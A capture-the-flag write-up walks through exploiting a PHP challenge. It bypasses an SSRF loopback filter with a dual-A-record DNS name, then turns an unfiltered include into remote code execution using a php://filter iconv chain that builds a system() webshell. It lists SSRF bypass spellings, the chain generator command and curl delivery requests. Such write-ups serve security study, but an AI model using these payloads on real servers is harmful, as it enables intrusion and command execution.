PHP RCE
backend: PHP 8.x
Connections
- https://growing-supply-trusts-molecular.trycloudflare.com
Attachments
Writeup
To reach admin.php we have to make the server request it from itself, past the public page’s IP filter, and then turn the unfiltered include into code execution. The “PHP 8.x” hint matters for the second half, because PHP 8 ships with allow_url_include off, which rules out the easy data:// includes.
Recon
The handout, admin.zip, holds one file, admin.php, and it defines the whole target:
<?php
// filter ip in index.php
error_reporting(0);
ini_set('display_errors', 0);
if (($_SERVER['REMOTE_ADDR'] ?? '') !== '127.0.0.1') {
http_response_code(403);
die("Forbidden: internal service, loopback only");
}
if (!isset($_GET['file'])) {
die("Usage: ?file=<php wrapper or path>");
}
include $_GET['file'];
So there is an internal page that blindly include()s whatever lands in $_GET['file'], and it only talks to clients coming from 127.0.0.1. The comment says the IP filtering lives in index.php, the public page.
We opened the instance in a browser. The page is a fetcher: a form titled “Webfetch Image Diagnostic Tool (v1.8)” with a text box labeled “Remote Resource URL:”, a “Fetch Resource” button, and a note underneath reading “Security Notice: Private CIDR ranges and loopback requests are restricted by policy filter.” The form submits via GET, so every request is visible in the address bar, and the fetched body is rendered inside a <pre> block on the same page.

We typed http://example.com into the box and clicked Fetch Resource, and the page rendered example.com’s HTML in the response area, so the tool really does fetch and reflect remote content. Probing the url parameter produced three distinct responses, and telling them apart drove the whole solve:
| response | meaning |
|---|---|
<pre>…fetched body…</pre> |
the fetch went through and the body was rendered |
Blocked: local or private address detected |
the IP filter rejected the URL |
Failed to fetch |
the filter passed, but the fetch itself failed |
A URL whose hostname does not exist also produced the Blocked message. The filter resolves the hostname itself before validating, and treats a failed resolution as a block. The IP check and the actual fetch are therefore two separate DNS lookups of the same name.
We then worked through the classic SSRF spellings, and every single one came back blocked:
| probe | response |
|---|---|
127.0.0.1, 127.1, 2130706433, 0x7f000001, 017700000001, 0x7f.0.0.1, 127.000.000.001, 0.0.0.0 |
Blocked: local or private address detected |
[::1], [::ffff:127.0.0.1], [0:0:0:0:0:ffff:127.0.0.1] |
Blocked: local or private address detected |
localhost, localhost., 127.0.0.1. |
Blocked: local or private address detected |
127.0.0.1.nip.io |
Blocked: local or private address detected |
http://[email protected]/, http://[email protected]:80/admin.php |
Blocked: local or private address detected |
file://…, gopher://…, php://filter/… |
Blocked: local or private address detected |
ipv6.google.com (AAAA-only name) |
Blocked: local or private address detected |
httpbin.org/redirect-to?url=… |
<pre></pre>, the empty body of the 302 |
All the numeric loopback forms failing at once points at gethostbyname(): on glibc it accepts inet_aton()-style numeric hosts, so 127.1, 2130706433, 0x7f000001 and the other numeric forms all resolve to 127.0.0.1 and die on the private-range check. The AAAA-only name blocks for the same family of reasons, because gethostbyname() is IPv4-only and returns the name unchanged when it cannot resolve it, which then fails IP validation. The userinfo tricks change nothing because the filter extracts the host with parse_url(), which ignores everything before the @. And the redirect row shows the fetcher does not follow redirects: it rendered the empty 302 body instead of the redirect target, and a redirect we pointed at the internal service never reached it either, returning Failed to fetch. Reconstructed from all of this, the front page behaves like:
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host); // inet_aton-smart, IPv4-only
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE))
die("Blocked: local or private address detected");
echo file_get_contents($url); // the fetch resolves the name again
Exploitation
The bypasses that did not work
DNS rebinding was the first serious attempt. The 1u.ms service serves make-<A>-rebind-<B>-rr names whose answer flips to the second address after a configurable number of queries, built for exactly this check-then-fetch gap. A plain 1u.ms name resolving to CERN’s web server (188.184.67.127) rendered the CERN body through the fetcher, so the service resolves from the server; a rebind name, CERN first and 127.0.0.1 after, still rendered the CERN body on the fetch, because a short-lived resolver cache returns the same answer to both lookups inside one request even though 1u.ms answers with TTL 0. The IPv6 variant of the same idea needs one name answering with a public A record plus an AAAA of ::1, and neither 1u.ms nor sslip.io can mix record types on one name. The redirect route was already dead from recon, since the fetcher does not follow them.
One hostname, two A records
The recon observation suggests a different angle. The check and the fetch are two separate resolutions, but they do not have to disagree about the answer; they only have to pick different records from the same one. gethostbyname() returns a single address, the first record in the answer. A real HTTP client resolves with getaddrinfo(), which returns every record and walks the list until one address accepts the connection.
1u.ms has a form for exactly that, -and-, which answers with both addresses on one name. The raw answer for make-8.8.8.8-and-127.0.0.1-rr.1u.ms is:
make-8.8.8.8-and-127.0.0.1-rr.1u.ms. 0 IN A 8.8.8.8
make-8.8.8.8-and-127.0.0.1-rr.1u.ms. 0 IN A 127.0.0.1
When the server-side resolver hands out the public record first, the filter validates 8.8.8.8 and passes. At fetch time the client tries 8.8.8.8:80, that connection is refused, and it falls through to 127.0.0.1:80, which is the application itself. From the application’s side, REMOTE_ADDR is a genuine loopback address, so admin.php runs instead of returning the 403.
The server-side resolver serves the cached record order in windows, so some attempts get the loopback record at check time and come back Blocked. The fix is retrying with a new random subdomain prefix each time, which is a new cache entry with a new order, until a public-first window opens.
The port needed no searching either. The comment in admin.php says the IP filter lives in index.php, the public page, so both pages are served by the same web app and port 80 is its default. That is what we asked the dual-A name for first:
$ curl -sS -G "$BASE/" --data-urlencode "url=http://sw1-make-8.8.8.8-and-127.0.0.1-rr.1u.ms:80/admin.php" | head -c 150
<pre>Usage: ?file=<php wrapper or path></pre>
The internal banner came back on the first request, so the app listens on loopback port 80 and the bypass works end to end.
With a window open, we typed the dual-A URL into the form’s box, clicked Fetch Resource, and the response area rendered the internal banner:

Usage: ?file=<php wrapper or path>
Turning the include into code execution
The next question is what to put in file. With allow_url_include off, include refuses data:// and remote URLs, so the payload has to come from a wrapper that PHP treats as local. That is where the Synacktiv php://filter chain technique comes in. php://filter is normally used to read files through conversion filters, for example base64-encoding a source file to dodge its <?php tags. The technique flips it around: a long enough stack of convert.iconv.* and convert.base64-* filters can synthesize arbitrary content out of an empty resource, and include executes whatever the stack emits.
We ran the published generator with the code we wanted executed:
$ python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|…|convert.base64-decode/resource=php://temp
The output is 5,797 bytes. To understand it, read the generator: it base64-encodes the desired code, then emits, for each character of that base64 string in reverse order, a fixed convert.iconv.* gadget followed by a base64 decode and re-encode. The gadgets abuse iconv, PHP’s character-set conversion facility, because converting between exotic charsets prepends and appends escape and designator bytes; the interleaved base64 steps fold those bytes back in until the stream has grown one chosen character per pass. The resource at the end is php://temp, an empty scratch stream, so every byte in the final output comes from the filters themselves. The last convert.base64-decode turns the accumulated base64 into the raw source, and include runs <?php system($_GET["c"]); ?>. allow_url_include never comes into play, because the URL being included is the php://filter wrapper itself, not an external URL.
Packing the chain into one request line
Delivery has its own problem. The chain must travel as the file parameter of the inner URL, and that inner URL is itself the url parameter of the outer fetcher request, so the chain has to survive being nested inside another query string. Percent-encoding everything for both layers nearly triples the size: the 5,797-byte chain grows to roughly 15 KB of request line, and the fronting server rejects that with 414 Request-URI Too Large, which we confirmed with a deliberately long GET. Switching to POST does not help, because the form submits via GET and the fetcher only reads $_GET.
The way out is encoding almost nothing, which works because of how PHP parses query strings. The chain’s alphabet is letters, digits and |.=_-:/, all legal unencoded inside a query value, so the chain goes in raw in both layers. PHP splits the outer query on & and takes everything after the first = as the value, so the inner ?, :, / and the chain’s own = survive the outer parse untouched. The single & that separates file from c in the inner query is written %26, and the outer $_GET decode turns it back into a real & for the inner request. The command is the one part that needs two encoding levels: a space is sent as %2520, the outer decode leaves %20 in the URL the fetcher requests, and the inner $_GET decode finally produces the real space. Our first attempt encoded the command only once, and it came back Failed to fetch because after the outer decode the fetcher’s URL contained a literal space.
The request we settled on:
INNER="http://$PFX-make-$IP-and-127.0.0.1-rr.1u.ms:80/admin.php?file=$CHAIN%26c=$ENC_CMD"
R=$(curl -sS -m 25 -H 'Accept: */*' "$BASE/?url=$INNER")
$PFX is a fresh random prefix per attempt and $IP rotates through the public addresses, so a blocked window costs one retry, and $ENC_CMD carries the twice-encoded command. The request line stays around 5.9 KB, under the fronting server’s 8 KB request-line limit.
Flag capture
The first payload that landed ran id and came back with uid=33(www-data) gid=33(www-data) groups=33(www-data), which confirmed the synthesized code was really executing. With the window still open we swapped the command for a root listing plus a cat of the flag file, and the page rendered the output, followed by the usual harmless tail of iconv conversion residue:

total 72
drwxr-xr-x 1 root root 4096 Nov 27 20:18 .
-rwxr-xr-x 1 root root 0 Nov 27 20:18 .dockerenv
…
-r--r--r-- 1 root root 36 Nov 27 20:18 flag.txt
…
drwxr-xr-x 2 root root 4096 Nov 24 04:18 var
===
NVR{php_fi1er-chains_e1asy_ha1king}